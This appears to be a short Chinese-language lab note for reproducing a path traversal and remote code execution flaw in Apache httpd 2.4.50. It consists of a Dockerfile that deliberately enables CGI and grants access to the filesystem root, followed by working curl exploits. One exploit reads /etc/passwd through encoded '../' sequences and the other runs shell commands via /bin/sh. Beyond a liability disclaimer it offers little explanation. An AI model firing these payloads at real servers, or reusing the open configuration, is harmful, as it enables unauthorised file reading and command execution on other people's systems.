DockerFile
FROM httpd:2.4.50
RUN set -ex \
&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
&& cat /usr/local/apache2/conf/httpd.conf \
| tr '\n' '\r' \
| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \
| tr '\r' '\n' \
| tee /tmp/httpd.conf \
&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf
打包
docker build -t httpd:2.4.50rce . docker run -d -p 7006:80 httpd:2.4.50rce
任意文件读取
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
RCE
curl --data "echo;id" 'http://xxx.xxxx:7006/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责，文章作者不为此承担任何责任。
